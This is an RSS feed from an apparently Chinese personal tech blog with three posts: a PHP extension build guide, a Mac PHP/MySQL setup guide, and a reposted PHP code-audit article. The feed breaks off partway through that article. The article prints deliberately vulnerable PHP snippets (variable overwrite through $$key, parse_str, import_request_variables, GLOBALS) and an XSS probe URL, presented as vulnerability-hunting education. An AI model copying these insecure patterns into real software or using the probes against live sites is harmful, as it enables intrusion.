<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>花太香齐的博客 &#187; PHP/WEB</title>
	<atom:link href="http://www.ieliwb.com/tag/php/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.ieliwb.com</link>
	<description>灵感的来临，没有任何预兆；灵感的消失，也不会有告别仪式；用文字记下她们吧，让灵感永存……</description>
	<lastBuildDate>Wed, 04 Aug 2010 02:52:00 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>linux下php扩展(php ext)开发记录</title>
		<link>http://www.ieliwb.com/linux-php-extension-dev/</link>
		<comments>http://www.ieliwb.com/linux-php-extension-dev/#comments</comments>
		<pubDate>Tue, 04 May 2010 04:57:56 +0000</pubDate>
		<dc:creator>花太香齐</dc:creator>
				<category><![CDATA[Linux/Shell/Server]]></category>
		<category><![CDATA[PHP/WEB]]></category>
		<category><![CDATA[extension]]></category>

		<guid isPermaLink="false">http://www.ieliwb.com/linux%e4%b8%8bphp%e6%89%a9%e5%b1%95php-ext%e5%bc%80%e5%8f%91%e8%ae%b0%e5%bd%95/</guid>
		<description><![CDATA[<blockquote>公司需要对通行证用户资料的教检函数封包(防止服务器沦陷,用户资料被解密)，需要开发一个扩展函数，
username是cookie中的username，
hashkey 是 cookie中的 PName
开发php ext: 函数名为csdn_verify_auth，参数是username 和 hashkey ，（算法机密文件略）

第一次写PHP扩展，搜索资料到编写测试用了一天半完成，记录一下吧，以后如果需要做的话大部分时间只能浪费在C算法上。</blockquote>[......]<p class='read-more'><a href='http://www.ieliwb.com/linux-php-extension-dev/'>继续阅读</a></p>]]></description>
			<content:encoded><![CDATA[<blockquote><p>公司需要对通行证用户资料的教检函数封包(防止服务器沦陷,用户资料被解密)，需要开发一个扩展函数，<br />
username是cookie中的username，<br />
hashkey 是 cookie中的 PName<br />
开发php ext: 函数名为csdn_verify_auth，参数是username 和 hashkey ，（算法机密文件略）</p>
<p>第一次写PHP扩展，搜索资料到编写测试用了一天半完成，记录一下吧，以后如果需要做的话大部分时间只能浪费在C算法上。</p></blockquote>
<p><strong>1.先down一个php下来,编译安装：(编译环境只做测试扩展用)</strong><br />
<code><br />
wget http://cn2.php.net/get/php-5.2.13.tar.gz/from/cn.php.net/mirror<br />
tar zxvf php-5.2.13.tar.gz<br />
cd php-5.2.13<br />
./configure --prefix=/csdn_verify_auth/php --with-config-file-path=/csdn_verify_auth/php/etc<br />
make ZEND_EXTRA_LIBS='-liconv'<br />
make install<br />
cp php.ini-dist /csdn_verify_auth/php/etc/php.ini<br />
</code></p>
<p><strong>2.修改一下vi /csdn_verify_auth/php/etc/php.ini中的extension_dir = &#8220;./&#8221;</strong><br />
　　修改为<code>extension_dir = "/csdn_verify_auth/php/lib/php/extensions/no-debug-non-zts-20060613"</code><br />
　　并在此行后增加以下，然后保存：<br />
　　<code>extension = "csdn_verify_auth.so"</code><br />
    csdn_verify_auth改为你开发的扩展的名字</p>
<p><strong>3.开始创建扩展项目</strong><br />
进入源码目录<br />
<code>cd /csdn_verify_auth/php-5.2.13/ext/<br />
./ext_skel --extname=csdn_verify_auth</code></p>
<p>创建名字为csdn_verify_auth的项目，最终会生成csdn_verify_auth.so</p>
<p><strong>4.更改配置和扩展程序开发</strong><br />
<code>vi ext/csdn_verify_auth/config.m4</code></p>
<p>根据你自己的选择将</p>
<blockquote><p>dnl PHP_ARG_WITH(csdn_verify_auth, for csdn_verify_auth support,<br />
	dnl Make sure that the comment is aligned:<br />
	dnl [ --with-csdn_verify_auth Include csdn_verify_auth support])</p></blockquote>
<p>去掉dnl<br />
或者将</p>
<blockquote><p>dnl PHP_ARG_ENABLE(csdn_verify_auth, whether to enable csdn_verify_auth support,<br />
	dnl Make sure that the comment is aligned:<br />
	dnl [ --enable-csdn_verify_auth Enable csdn_verify_auth support])</p></blockquote>
<p>去掉dnl</p>
<p><code>vi ext/csdn_verify_auth/php_csdn_verify_auth.h</code><br />
将<br />
<code>PHP_FUNCTION(confirm_csdn_verify_auth_compiled); /* For testing, remove later. */</code><br />
更改为<br />
<code>PHP_FUNCTION(csdn_verify_auth);</code></p>
<p><code>vi ext/csdn_verify_auth/csdn_verify_auth.c</code><br />
将<br />
<code>zend_function_entry php5cpp_functions[] = {<br />
PHP_FE(confirm_csdn_verify_auth_compiled, NULL) /* For testing, remove later. */<br />
{NULL, NULL, NULL} /* Must be the last line in php5cpp_functions[] */<br />
};</code><br />
更改为<br />
<code>zend_function_entry php5cpp_functions[] = {<br />
PHP_FE(csdn_verify_auth, NULL)<br />
{NULL, NULL, NULL} /* Must be the last line in php5cpp_functions[] */<br />
};</code><br />
在最后添加：<br />
<code>PHP_FUNCTION(csdn_verify_auth)<br />
{<br />
	zend_printf("hello world\n");<br />
}</code></p>
<p><strong>5.编译生成so文件</strong><br />
<code>cd /csdn_verify_auth/php-5.2.13/ext/csdn_verify_auth/<br />
/csdn_verify_auth/php/bin/phpize<br />
./configure --with-php-config=/csdn_verify_auth/php/bin/php-config<br />
make<br />
mv /csdn_verify_auth/php-5.2.13/ext/csdn_verify_auth/modules/csdn_verify_auth.so /csdn_verify_auth/php/lib/php/extensions/no-debug-non-zts-20060613<br />
cd ../../../</code></p>
<p><strong>6.测试扩展</strong><br />
<code>vi /csdn_verify_auth/hello.php</code></p>
<p><? php<br />
csdn_verify_auth();<br />
?></p>
<p><code>/csdn_verify_auth/php/bin/php hello.php</code><br />
hello world.</p>
<p>OK</p>
<blockquote><p>主要用到的api就那么几个：<br />
ZEND_NUM_ARGS()、zend_parse_parameters(args TSRMLS_CC, &#8220;ss&#8221;, &#038;username, &#038;username_length, &#038;hash, &#038;hash_length)  参数接收系列<br />
RETURN_FALSE。。RETURN_STRINGL(s, l, dup)等返回系列函数<br />
&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;<br />
其他的基本就是C了，再次感叹下，学好C语言，走到哪都不怕。
</p></blockquote>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-END&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
<span style='display:none;'>class:http://www.hucde.com/index.php/archives/category/php<br />
ext:http://blog.csdn.net/taft/archive/2006/02/10/596291.aspx</span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.ieliwb.com/linux-php-extension-dev/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Mac OS X 10.6 Snow Leopard构建Apache，MySQL，PHP开发环境全记录</title>
		<link>http://www.ieliwb.com/mac-snow-leopard-apache-mysql-php/</link>
		<comments>http://www.ieliwb.com/mac-snow-leopard-apache-mysql-php/#comments</comments>
		<pubDate>Sun, 07 Mar 2010 07:43:17 +0000</pubDate>
		<dc:creator>花太香齐</dc:creator>
				<category><![CDATA[PHP/WEB]]></category>
		<category><![CDATA[iPhone/Mac/ObjectC]]></category>
		<category><![CDATA[apache]]></category>
		<category><![CDATA[mac]]></category>
		<category><![CDATA[mysql]]></category>

		<guid isPermaLink="false">http://www.ieliwb.com/mac-os-x-10-6-snow-leopard%e6%9e%84%e5%bb%baapache%ef%bc%8cmysql%ef%bc%8cphp%e5%bc%80%e5%8f%91%e7%8e%af%e5%a2%83%e5%85%a8%e8%ae%b0%e5%bd%95/</guid>
		<description><![CDATA[<p><strong>操作环境 :</strong></p>
<blockquote><p>
系统:  Mac OS X 10.6.2 （Snow Leopard）<br />
环境软件:<br />
Apache 2.2.11 	系统内置<br />
              PHP 	5.3.0 	系统内置<br />
              MySQL 5.1.43 	dmg安装包<br />
推荐几个开发软件:<br />
    [......]</p></blockquote><p class='read-more'><a href='http://www.ieliwb.com/mac-snow-leopard-apache-mysql-php/'>继续阅读</a></p>]]></description>
			<content:encoded><![CDATA[<p><strong>操作环境 :</strong></p>
<blockquote><p>
系统:  Mac OS X 10.6.2 （Snow Leopard）<br />
环境软件:<br />
Apache 2.2.11 	系统内置<br />
              PHP 	5.3.0 	系统内置<br />
              MySQL 5.1.43 	dmg安装包<br />
推荐几个开发软件:<br />
               Xcode 苹果官方免费软件<br />
              zend studio zend公司有dmg安装包<br />
             coda 也支持php函数提醒功能,很好用,apple软件库有
</p></blockquote>
<blockquote><p>由于mac是基于unix内核的,很多开发开源软件都自带了,如:apache|php|java|python等,而且自带shell命令终端,在此咕噜一下,做开发或设计的赶快转到mac平台吧,当然asp,c#就别来了,嘎嘎.这些自带的基本都相当新,不习惯的可以自己终端编译.</p></blockquote>
<blockquote><p>如果想用套件的话,这里也推荐几个:MAMP, XAMPP or Marc Liyanage.自己google一下.下面就可以路过了.</p></blockquote>
<p><strong>配置apache:</strong><br />
1.让apache加载php模块,自己指定localhost跟目录等.打开终端:<br />
<code>su root<br />
vi /etc/apache2/httpd.conf</code></p>
<p>找到:#LoadModule php5_module libexec/apache2/libphp5.so去掉全面的#<br />
找到:  DocumentRoot &#8220;/Users/ieliwb/Sites&#8221;  修改目录,记得有2处<br />
2.开启apache<br />
你可以在系统偏好设置里->共享->web共享勾上<br />
或终端敲入:<br />
<code>su root<br />
apachectl start</code><br />
<strong>记住所有apache配置操作都是root用户才能修改的.所以记得su root.</strong></p>
<p><strong>配置php:</strong></p>
<p>不同人不同应用程序对PHP的设置要求也不同，这里仅仅粗略描述最基本的几项设置，且只说明目标，具体操作则省略掉了，其它设置条目参考其它文档。在每次对PHP配置文件php.ini文件做出更改后，要重新启动一次Apache服务才能使更改生效。</p>
<p>   1.  php.ini</p>
<p>      默认地，Mac OS X 10.6没有php.ini配置文件，需要自己创建。也可以使用/private/etc/php.ini.default文件改写另存为/private/etc/php.ini文件。<br />
   2. timezone，时区设置</p>
<p>      Mac OS X 10.6自带了PHP 5.3.0，同时也带来了一点新要求：“强制”要求定义时区。搜索“date.timezone”（第997行），然后设定正确的时区ID，比如澳大利亚悉尼，时区ID就是Australia/Sydney。注意，时区ID没有引号。所有时区ID可以在http://php.net/manual/en/timezones.php上找到。<br />
   3. mysql.sock</p>
<p>      在php.ini文件中搜索“mysql.sock”字串，把找到的三个配置条目稍稍做一下修改：</p>
<p>      &#8230;<br />
      pdo_mysql.default_socket=/tmp/mysql.sock<br />
      &#8230;<br />
      mysql.default_socket = /tmp/mysql.sock<br />
      &#8230;<br />
      mysqli.default_socket = /tmp/mysql.sock<br />
      &#8230;</p>
<p>      在Mac OS X 10.5 leopard中，mysql.sock文件被放在了/var/mysql/mysql.sock，而Mac OS X 10.6 Snow Leopard中的mysql.sock文件位置/tmp/mysql.sock就标准多了。最后对php.ini文件做你所需要的更改，保存。</p>
<p><strong>mysql安装调试:</strong></p>
<p>我这里选择dmg安装的,你也可以选择源码自己编译,去mysql官方下载dmg包,一路点下去就可以,完成后在系统编好设置里有个开关来启动和停用mysql.你也可以在终端输入命令来启动.基本操作和linux下大部分完全一样的.<br />
<code>/usr/local/mysql/bin/mysql</code></p>
<p><strong>开发工具推荐还是用官方zendstudio吧.有dmg包.</strong></p>
<p>到此就完了,是不是很简单呢.如果想自己编译的话可以参考:</p>
<p>http://www.procata.com/blog/archives/2007/10/28/working-with-php-5-in-mac-os-x-105/</p>
<p>http://www.dongyl.com/knowledge-base/2-macintosh/23-how-to-setup-mamp-under-mac-os-x-106-snow-leopard.html</p>
]]></content:encoded>
			<wfw:commentRss>http://www.ieliwb.com/mac-snow-leopard-apache-mysql-php/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>[转]高级PHP应用程序漏洞审核技术</title>
		<link>http://www.ieliwb.com/php-security-ph4nt0m/</link>
		<comments>http://www.ieliwb.com/php-security-ph4nt0m/#comments</comments>
		<pubDate>Tue, 29 Dec 2009 10:30:28 +0000</pubDate>
		<dc:creator>花太香齐</dc:creator>
				<category><![CDATA[PHP/WEB]]></category>
		<category><![CDATA[安全]]></category>
		<category><![CDATA[漏洞]]></category>

		<guid isPermaLink="false">http://www.ieliwb.com/%e8%bd%ac%e9%ab%98%e7%ba%a7php%e5%ba%94%e7%94%a8%e7%a8%8b%e5%ba%8f%e6%bc%8f%e6%b4%9e%e5%ae%a1%e6%a0%b8%e6%8a%80%e6%9c%af/</guid>
		<description><![CDATA[<blockquote>PHP是一种被广泛使用的脚本语言，尤其适合于web开发。具有跨平台，容易学习，功能强
大等特点，据统计全世界有超过34%的网站有php的应用，包括Yahoo、sina、163、sohu等大型
门户网站。而且很多具名的web应用系统（包括bbs,blog,wiki,cms等等）都是使用php开发的，
Discuz、phpwind、phpbb、vbb、wordpress、boblog等等。随着web安全的热点升级，php应
用程序的代码安全问题也逐步兴盛起来，越来越多的安全人员投入到这个领域，越来越多的应
用程序代码漏洞被披露。针对这样一个状况，很多应用程序的官方都成立了安全部门，或者雇
佣安全人员进行代码审计，因此出现了很多自动化商业化的代码审计工具。也就是这样的形
势导致了一个局面：大公司的产品安全系数大大的提高，那些很明显的漏洞基本灭绝了，那些
大家都知道的审计技术都无用武之地了。我们面对很多工具以及大牛扫描过n遍的代码，有很
多的安全人员有点悲观，而有的官方安全人员也非常的放心自己的代码，但是不要忘记了“没
有绝对的安全”，我们应该去寻找新的途径挖掘新的漏洞。本文就给介绍了一些非传统的技术
经验和大家分享。</blockquote>[......]<p class='read-more'><a href='http://www.ieliwb.com/php-security-ph4nt0m/'>继续阅读</a></p>]]></description>
			<content:encoded><![CDATA[<div class="hl-surround"><div class="hl-main"><span style="color: Gray;">[目录]<br />&nbsp;<br />1. 前言<br />2. 传统的代码审计技术<br />3. PHP版本与应用代码审计<br />4. 其他的因素与应用代码审计<br />5. 扩展我们的字典<br />&nbsp; 5.1 变量本身的key<br />&nbsp; 5.2 变量覆盖<br />&nbsp;&nbsp; &nbsp;5.2.1 遍历初始化变量<br />&nbsp;&nbsp; &nbsp;5.2.2 parse_str()变量覆盖漏洞<br />&nbsp;&nbsp; &nbsp;5.2.3 import_request_variables()变量覆盖漏洞<br />&nbsp;&nbsp; &nbsp;5.2.4 PHP5 Globals <br />&nbsp; 5.3 magic_quotes_gpc与代码安全<br />&nbsp;&nbsp; &nbsp;5.3.1 什么是magic_quotes_gpc<br />&nbsp;&nbsp; &nbsp;5.3.2 哪些地方没有魔术引号的保护<br />&nbsp;&nbsp; &nbsp;5.3.3 变量的编码与解码<br />&nbsp;&nbsp; &nbsp;5.3.4 二次攻击<br />&nbsp;&nbsp; &nbsp;5.3.5 魔术引号带来的新的安全问题<br />&nbsp;&nbsp; &nbsp;5.3.6 变量key与魔术引号<br />&nbsp; 5.4 代码注射<br />&nbsp;&nbsp; &nbsp;5.4.1 PHP中可能导致代码注射的函数<br />&nbsp;&nbsp; &nbsp;5.4.2 变量函数与双引号<br />&nbsp; 5.5 PHP自身函数漏洞及缺陷<br />&nbsp;&nbsp; &nbsp;5.5.1 PHP函数的溢出漏洞<br />&nbsp;&nbsp; &nbsp;5.5.2 PHP函数的其他漏洞<br />&nbsp;&nbsp; &nbsp;5.5.3 session_destroy()删除文件漏洞<br />&nbsp;&nbsp; &nbsp;5.5.4 随机函数<br />&nbsp; 5.6 特殊字符<br />&nbsp;&nbsp; &nbsp;5.6.1 截断<br />&nbsp;&nbsp; &nbsp; &nbsp;5.6.1.1 include截断<br />&nbsp;&nbsp; &nbsp; &nbsp;5.6.1.2 数据截断<br />&nbsp;&nbsp; &nbsp; &nbsp;5.6.1.3 文件操作里的特殊字符<br />6. 怎么进一步寻找新的字典<br />7. DEMO<br />8. 后话<br />9. 附录<br />&nbsp;<br />&nbsp;<br />一、前言<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;PHP是一种被广泛使用的脚本语言，尤其适合于web开发。具有跨平台，容易学习，功能强<br />大等特点，据统计全世界有超过34%的网站有php的应用，包括Yahoo、sina、163、sohu等大型<br />门户网站。而且很多具名的web应用系统（包括bbs,blog,wiki,cms等等）都是使用php开发的，<br />Discuz、phpwind、phpbb、vbb、wordpress、boblog等等。随着web安全的热点升级，php应<br />用程序的代码安全问题也逐步兴盛起来，越来越多的安全人员投入到这个领域，越来越多的应<br />用程序代码漏洞被披露。针对这样一个状况，很多应用程序的官方都成立了安全部门，或者雇<br />佣安全人员进行代码审计，因此出现了很多自动化商业化的代码审计工具。也就是这样的形<br />势导致了一个局面：大公司的产品安全系数大大的提高，那些很明显的漏洞基本灭绝了，那些<br />大家都知道的审计技术都无用武之地了。我们面对很多工具以及大牛扫描过n遍的代码，有很<br />多的安全人员有点悲观，而有的官方安全人员也非常的放心自己的代码，但是不要忘记了“没<br />有绝对的安全”，我们应该去寻找新的途径挖掘新的漏洞。本文就给介绍了一些非传统的技术<br />经验和大家分享。<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;另外在这里特别说明一下本文里面很多漏洞都是来源于网络上牛人和朋友们的分享，在<br />这里需要感谢他们，：）<br />&nbsp;<br />&nbsp;<br />二、传统的代码审计技术<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;WEB应用程序漏洞查找基本上是围绕两个元素展开：变量与函数。也就是说一漏洞的利用<br />必须把你提交的恶意代码通过变量经过n次变量转换传递，最终传递给目标函数执行，还记得<br />MS那句经典的名言吗？“一切输入都是有害的”。这句话只强调了变量输入，很多程序员把“输<br />入”理解为只是gpc[$_GET,$_POST,$_COOKIE]，但是变量在传递过程产生了n多的变化。导致<br />很多过滤只是个“纸老虎”！我们换句话来描叙下代码安全：“一切进入函数的变量是有害的”。<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;PHP代码审计技术用的最多也是目前的主力方法：静态分析，主要也是通过查找容易导致<br />安全漏洞的危险函数，常用的如grep，findstr等搜索工具，很多自动化工具也是使用正则来搜<br />索这些函数。下面列举一些常用的函数，也就是下文说的字典（暂略）。但是目前基本已有的<br />字典很难找到漏洞，所以我们需要扩展我们的字典，这些字典也是本文主要探讨的。<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;其他的方法有：通过修改PHP源代码来分析变量流程，或者hook危险的函数来实现对应用<br />程序代码的审核，但是这些也依靠了我们上面提到的字典。<br />&nbsp;<br />&nbsp;<br />三、PHP版本与应用代码审计<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;到目前为止，PHP主要有3个版本：php4、php5、php6，使用比例大致如下：<br />&nbsp;<br />php4 68% <br />2000-2007，No security fixes after 2008/08，最终版本是php4.4.9<br />&nbsp;<br />php5 32% <br />2004-present，Now at version 5.2.6（PHP 5.3 alpha1 released!）<br />&nbsp;<br />php6 <br />目前还在测试阶段，变化很多做了大量的修改，取消了很多安全选项如magic_quotes_gpc。<br />（这个不是今天讨论的范围）<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;由于php缺少自动升级的机制，导致目前PHP版本并存，也导致很多存在漏洞没有被修补。<br />这些有漏洞的函数也是我们进行WEB应用程序代码审计的重点对象，也是我们字典重要来源。<br />&nbsp;<br />&nbsp;<br />四、其他的因素与应用代码审计<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;很多代码审计者拿到代码就看，他们忽视了“安全是一个整体”，代码安全很多的其他因素<br />有关系，比如上面我们谈到的PHP版本的问题，比较重要的还有操作系统类型（主要是两大阵营<br />win/*nix），WEB服务端软件（主要是iis/apache两大类型）等因素。这是由于不同的系统不同<br />的WEB SERVER有着不同的安全特点或特性，下文有些部分会涉及。<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;所以我们在做某个公司WEB应用代码审计时，应该了解他们使用的系统，WEB服务端软件，<br />PHP版本等信息。<br />&nbsp;<br />&nbsp;<br />五、扩展我们的字典<br />&nbsp;<br />下面将详细介绍一些非传统PHP应用代码审计一些漏洞类型和利用技巧。<br />&nbsp;<br />5.1 变量本身的key<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;说到变量的提交很多人只是看到了GET/POST/COOKIE等提交的变量的值，但是忘记了有的<br />程序把变量本身的key也当变量提取给函数处理。<br />&nbsp;<br />--code-------------------------------------------------------------------------<br /></span><span style="color: Blue;">&lt;?php</span><span style="color: Gray;"><br /></span><span style="color: #ffa500;">//key.php?aaaa&quot;aaa=1&amp;bb&quot;b=2 </span><span style="color: Gray;"><br /></span><span style="color: #ffa500;">//print_R($_GET); </span><span style="color: Gray;"><br />&nbsp;</span><span style="color: Green;">foreach</span><span style="color: Gray;"> </span><span style="color: Olive;">(</span><span style="color: #00008b;">$_GET</span><span style="color: Gray;"> </span><span style="color: Green;">AS</span><span style="color: Gray;"> </span><span style="color: #00008b;">$key</span><span style="color: Gray;"> =&gt; </span><span style="color: #00008b;">$value</span><span style="color: Olive;">)</span><span style="color: Gray;"><br /></span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: Blue;">print</span><span style="color: Gray;"> </span><span style="color: #00008b;">$key</span><span style="color: Gray;">.</span><span style="color: #8b0000;">&quot;</span><span style="color: Navy;">\n</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">;<br /></span><span style="color: Olive;">}</span><span style="color: Gray;"><br /></span><span style="color: Blue;">?&gt;</span><span style="color: Gray;"><br />-------------------------------------------------------------------------------<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;上面的代码就提取了变量本身的key显示出来，单纯对于上面的代码，如果我们提交URL：<br />&nbsp;<br />--code-------------------------------------------------------------------------<br />key.php?&lt;script&gt;alert(1);&lt;/script&gt;=1&amp;bbb=2<br />-------------------------------------------------------------------------------<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;那么就导致一个xss的漏洞，扩展一下如果这个key提交给include()等函数或者sql查询<br />呢？：） <br />&nbsp;<br />+++++++++++++++++++++++++<br />漏洞审计策略<br />-------------------------<br />PHP版本要求：无<br />系统要求：无<br />审计策略：通读代码<br />+++++++++++++++++++++++++<br />&nbsp;<br />&nbsp;<br />5.2 变量覆盖（variable-overwrite）<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;很多的漏洞查找者都知道extract()这个函数在指定参数为EXTR_OVERWRITE或者没有指<br />定函数可以导致变量覆盖，但是还有很多其他情况导致变量覆盖的如：<br />&nbsp;<br />5.2.1 遍历初始化变量<br />&nbsp;<br />请看如下代码：<br />&nbsp;<br />--code-------------------------------------------------------------------------<br /></span><span style="color: Blue;">&lt;?php</span><span style="color: Gray;"><br /></span><span style="color: #ffa500;">//var.php?a=fuck</span><span style="color: Gray;"><br /></span><span style="color: #00008b;">$a</span><span style="color: Gray;">=</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">hi</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">;<br /></span><span style="color: Green;">foreach</span><span style="color: Olive;">(</span><span style="color: #00008b;">$_GET</span><span style="color: Gray;"> </span><span style="color: Green;">as</span><span style="color: Gray;"> </span><span style="color: #00008b;">$key</span><span style="color: Gray;"> =&gt; </span><span style="color: #00008b;">$value</span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;$</span><span style="color: #00008b;">$key</span><span style="color: Gray;"> = </span><span style="color: #00008b;">$value</span><span style="color: Gray;">;<br /></span><span style="color: Olive;">}</span><span style="color: Gray;"><br /></span><span style="color: Blue;">print</span><span style="color: Gray;"> </span><span style="color: #00008b;">$a</span><span style="color: Gray;">;<br /></span><span style="color: Blue;">?&gt;</span><span style="color: Gray;"><br />-------------------------------------------------------------------------------<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;很多的WEB应用都使用上面的方式（注意循环不一定是foreach），如Discuz!4.1的WAP部分<br />的代码：<br />&nbsp;<br />--code-------------------------------------------------------------------------<br />$chs = &quot;&quot;;<br />if($_POST &amp;&amp; $charset != &quot;utf-8&quot;) {<br />&nbsp;&nbsp; &nbsp;$chs = new Chinese(&quot;UTF-8&quot;, $charset);<br />&nbsp;&nbsp; &nbsp;foreach($_POST as $key =&gt; $value) {<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;$$key = $chs-&gt;Convert($value);<br />&nbsp;&nbsp; &nbsp;}<br />&nbsp;&nbsp; &nbsp;unset($chs);<br />-------------------------------------------------------------------------------<br />&nbsp;&nbsp; &nbsp;<br />+++++++++++++++++++++++++<br />漏洞审计策略<br />-------------------------<br />PHP版本要求：无<br />系统要求：无<br />审计策略：通读代码<br />+++++++++++++++++++++++++<br />&nbsp;<br />&nbsp;<br />5.2.2 parse_str()变量覆盖漏洞（CVE-2007-3205）、mb_parse_str() <br />&nbsp;<br />--code-------------------------------------------------------------------------<br />//var.php?var=new<br />$var = &quot;init&quot;;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<br />parse_str($_SERVER[&quot;QUERY_STRING&quot;]); <br />print $var;<br />-------------------------------------------------------------------------------<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;该函数一样可以覆盖数组变量，上面的代码是通过$_SERVER[&quot;QUERY_STRING&quot;]来提取变<br />量的，对于指定了变量名的我们可以通过注射“=”来实现覆盖其他的变量：<br />&nbsp;<br />--code-------------------------------------------------------------------------<br />//var.php?var=1&amp;a[1]=var1%3d222<br />$var1 = &quot;init&quot;;<br />parse_str($a[$_GET[&quot;var&quot;]]);<br />print $var1;<br />-------------------------------------------------------------------------------<br />&nbsp;<br />上面的代码通过提交$var来实现对$var1的覆盖。<br />&nbsp;<br />+++++++++++++++++++++++++<br />漏洞审计策略（parse_str）<br />-------------------------<br />PHP版本要求：无<br />系统要求：无<br />审计策略：查找字符parse_str<br />+++++++++++++++++++++++++<br />&nbsp;<br />+++++++++++++++++++++++++<br />漏洞审计策略（mb_parse_str）<br />-------------------------<br />PHP版本要求：php4&lt;4.4.7 php5&lt;5.2.2<br />系统要求：无<br />审计策略：查找字符mb_parse_str<br />+++++++++++++++++++++++++<br />&nbsp;<br />&nbsp;<br />5.2.3 import_request_variables()变量覆盖漏洞（CVE-2007-1396）<br />&nbsp;<br />--code-------------------------------------------------------------------------<br />//var.php?_SERVER[REMOTE_ADDR]=10.1.1.1<br />echo &quot;GLOBALS &quot;.(int)ini_get(&quot;register_globals&quot;).&quot;n&quot;;<br />import_request_variables(&quot;GPC&quot;);<br />if ($_SERVER[&quot;REMOTE_ADDR&quot;] != &quot;10.1.1.1&quot;) die(&quot;Go away!&quot;);<br />echo &quot;Hello admin!&quot;;<br />-------------------------------------------------------------------------------<br />&nbsp;<br />+++++++++++++++++++++++++<br />漏洞审计策略（import_request_variables）<br />-------------------------<br />PHP版本要求：php4&lt;4.4.1 php5&lt;5.2.2<br />系统要求：无<br />审计策略：查找字符import_request_variables<br />+++++++++++++++++++++++++<br />&nbsp;<br />&nbsp;<br />5.2.4 PHP5 Globals <br />&nbsp;<br />&nbsp;&nbsp; &nbsp;从严格意义上来说这个不可以算是PHP的漏洞，只能算是一个特性，测试代码：<br />&nbsp;<br />--code-------------------------------------------------------------------------<br /></span><span style="color: Blue;">&lt;?</span><span style="color: Gray;"><br /></span><span style="color: #ffa500;">// register_globals =ON</span><span style="color: Gray;"><br /></span><span style="color: #ffa500;">//foo.php?GLOBALS[foobar]=HELLO</span><span style="color: Gray;"><br /></span><span style="color: Blue;">php</span><span style="color: Gray;"> </span><span style="color: Green;">echo</span><span style="color: Gray;"> </span><span style="color: #00008b;">$foobar</span><span style="color: Gray;">; <br /></span><span style="color: Blue;">?&gt;</span><span style="color: Gray;"><br />-------------------------------------------------------------------------------<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;但是很多的程序没有考虑到这点，请看如下代码：<br />&nbsp;<br />--code-------------------------------------------------------------------------<br />//为了安全取消全局变量<br />//var.php?GLOBALS[a]=aaaa&amp;b=111<br />if (ini_get(&quot;register_globals&quot;)) foreach($_REQUEST as $k=&gt;$v) unset(${$k});<br />print $a;<br />print $_GET[b];<br />-------------------------------------------------------------------------------<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;如果熟悉WEB2.0的攻击的同学，很容易想到上面的代码我们可以利用这个特性进行crsf<br />攻击。<br />&nbsp;<br />+++++++++++++++++++++++++<br />漏洞审计策略<br />-------------------------<br />PHP版本要求：无<br />系统要求：无<br />审计策略：通读代码<br />+++++++++++++++++++++++++<br />&nbsp;<br />&nbsp;<br />5.3 magic_quotes_gpc与代码安全<br />&nbsp;<br />5.3.1 什么是magic_quotes_gpc<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;当打开时，所有的 &quot;（单引号），&quot;（双引号），\（反斜线）和 NULL 字符都会被自动加上一个<br />反斜线进行转义。还有很多函数有类似的作用 如：addslashes()、mysql_escape_string()、<br />mysql_real_escape_string()等，另外还有parse_str()后的变量也受magic_quotes_gpc的影<br />响。目前大多数的主机都打开了这个选项，并且很多程序员也注意使用上面那些函数去过滤<br />变量，这看上去很安全。很多漏洞查找者或者工具遇到些函数过滤后的变量直接就放弃，但是<br />就在他们放弃的同时也放过很多致命的安全漏洞。 ：）<br />&nbsp;<br />5.3.2 哪些地方没有魔术引号的保护<br />&nbsp;&nbsp; &nbsp;<br />1) $_SERVER变量 <br />&nbsp;<br />&nbsp;&nbsp; &nbsp;PHP5的$_SERVER变量缺少magic_quotes_gpc的保护，导致近年来X-Forwarded-For的漏洞<br />猛暴，所以很多程序员考虑过滤X-Forwarded-For，但是其他的变量呢？<br />&nbsp;<br />+++++++++++++++++++++++++<br 